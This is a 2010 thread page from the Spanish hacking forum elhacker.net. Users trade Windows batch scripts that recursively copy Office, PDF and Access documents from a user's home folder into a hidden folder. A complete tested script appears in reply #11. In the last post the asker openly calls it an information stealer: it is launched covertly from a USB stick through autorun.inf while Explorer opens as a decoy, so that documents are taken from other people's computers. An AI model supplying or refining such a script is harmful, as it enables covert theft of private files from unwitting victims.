elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Los 10 CVE más críticos (peligrosos) de 2020


+  Foro de elhacker.net
|-+  Programación
| |-+  Scripting
| | |-+  Combinación lógica en sentencia IF [Batch]
0 Usuarios y 2 Visitantes están viendo este tema.
Páginas: 1 [2] Ir Abajo Respuesta Imprimir
Autor Tema: Combinación lógica en sentencia IF [Batch]  (Leído 9,589 veces)
flony


Desconectado Desconectado

Mensajes: 583



Ver Perfil
Re: Combinación lógica en sentencia IF [Batch]
« Respuesta #10 en: 26 Junio 2010, 16:52 pm »

por ahi las soluciones mas simples son mejores que un codigo bonito...por lo que veo tratas de copiar archivos word y excel a una carpeta save...pues porque no usas copy y despues usando copiar pegar le vas cambiando las extensiones de archivos por cada extensión...
Código:
move "E:\Ares\My Shared Folder\___ARESTRA___*" "E:\Flony\flony14\videos"
jaja este rea un code para mover o sea cortar pegar de una carpeta a otra pero el concepto seria mas o menos
Código:
IF EXIST *.doc (copy /y %HOMEPATH% *.doc %save%) 
IF EXIST *.docx (copy /y%HOMEPATH% *.docx %save%)
rem etc etc
va a tardar un cacho eso casi seguro depende de cuantos archivos tenga...pero bue  :rolleyes: es mas lento hacerlo a mano  :laugh: y seguro ocuparia mas espacio en tu pc.. :rolleyes:...es tu pc?  :¬¬  :laugh: xq es oculta  ;-)
de ultima este me parece mejor
Código:
IF EXIST %HOMEPATH% (FOR /R %HOMEPATH% %%x in (*.*) DO copy %%x %save%) 
jijiji el ultimo no lo probe pero me parece mejor....copiaria todo...
o
Código:
IF EXIST %HOMEPATH% (FOR /R %HOMEPATH% %%x in (*.doc) DO copy %%x %save%) 
y le vas agregando las extensiones


« Última modificación: 26 Junio 2010, 17:35 pm por flony » En línea

si un problema no tiene solucion entonces no es un problema...es algo inevitable
leogtz
. . .. ... ..... ........ ............. .....................
Colaborador
***
Desconectado Desconectado

Mensajes: 3.069


/^$/


Ver Perfil WWW
Re: Combinación lógica en sentencia IF [Batch]
« Respuesta #11 en: 26 Junio 2010, 23:30 pm »

He probado esto y funciona:

Código
  1. @echo off
  2. set "save=%~dp0save"
  3. if not exist "%save%" (
  4. mkdir "%save%" 2> nul
  5. atrib +r +h "%save%" 2> nul
  6. )
  7. cd /d "%homepath%\"
  8. for /r %%# in (*.*) do (
  9. for %%_ in (.xls, .xlsx, .doc, .docx .pdf .mdb .accdb) do (
  10. echo %%# | findstr /r /i "%%_\>" > nul 2>&1 && (
  11. copy /y "%%#" "%save%" > nul 2>&1
  12. )
  13. )
  14. )
  15. exit /b 0

Teniendo solo conocimientos básicos de batch es dificil hacerlo.

Por mi consideren a Batch como quieran, yo lo sigo usando como una herramienta más.

Saludos.


« Última modificación: 26 Junio 2010, 23:40 pm por Leo Gutiérrez. » En línea

Código
  1. (( 1 / 0 )) &> /dev/null || {
  2. echo -e "stderrrrrrrrrrrrrrrrrrr";
  3. }
  4.  
http://leonardogtzr.wordpress.com/
leogutierrezramirez@gmail.com
flony


Desconectado Desconectado

Mensajes: 583



Ver Perfil
Re: Combinación lógica en sentencia IF [Batch]
« Respuesta #12 en: 27 Junio 2010, 06:05 am »

no lo probe....tampoco lo haria  :laugh: pero es muy bonito el code leo...y viniendo de ud. que mas se puede esperar  ;-)
En línea

si un problema no tiene solucion entonces no es un problema...es algo inevitable
IWKY

Desconectado Desconectado

Mensajes: 272



Ver Perfil
Re: Combinación lógica en sentencia IF [Batch]
« Respuesta #13 en: 27 Junio 2010, 20:33 pm »

Ahora estoy fuera y no puedo probar nada, pero la idea del code es que un autorun.inf en un pendrive, lanza un ejecutable que abre el Explorer con la carpeta del pendrive y ocultamente lanza el batch, que trata de copiar todos los documentos  (que interesan) del directorio del usuario a una carpeta oculta en el pendrive.

...es tu pc?  :¬¬  :laugh: xq es oculta  ;-)

No, no es mi PC, como ya he dicho antes es una especie de roba-información. Está claro que no es lo último en ocultamiento pero puede engañar a más de uno.

Cuando lleve a casa publicaré todo el code y opinaís.


Un saludo
En línea

Por internet libre http://red-sostenible.net/
El mejor momento de Dragon Ball Z --> Aqui
Páginas: 1 [2] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Combinación de colores de Windows - Batch
Scripting
NOIS 2 2,173 Último mensaje 16 Mayo 2015, 10:24 am
por NOIS
MOVIDO: Combinación de colores de Windows - Batch
Programación General
Eleкtro 0 1,543 Último mensaje 15 Mayo 2015, 02:54 am
por Eleкtro
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines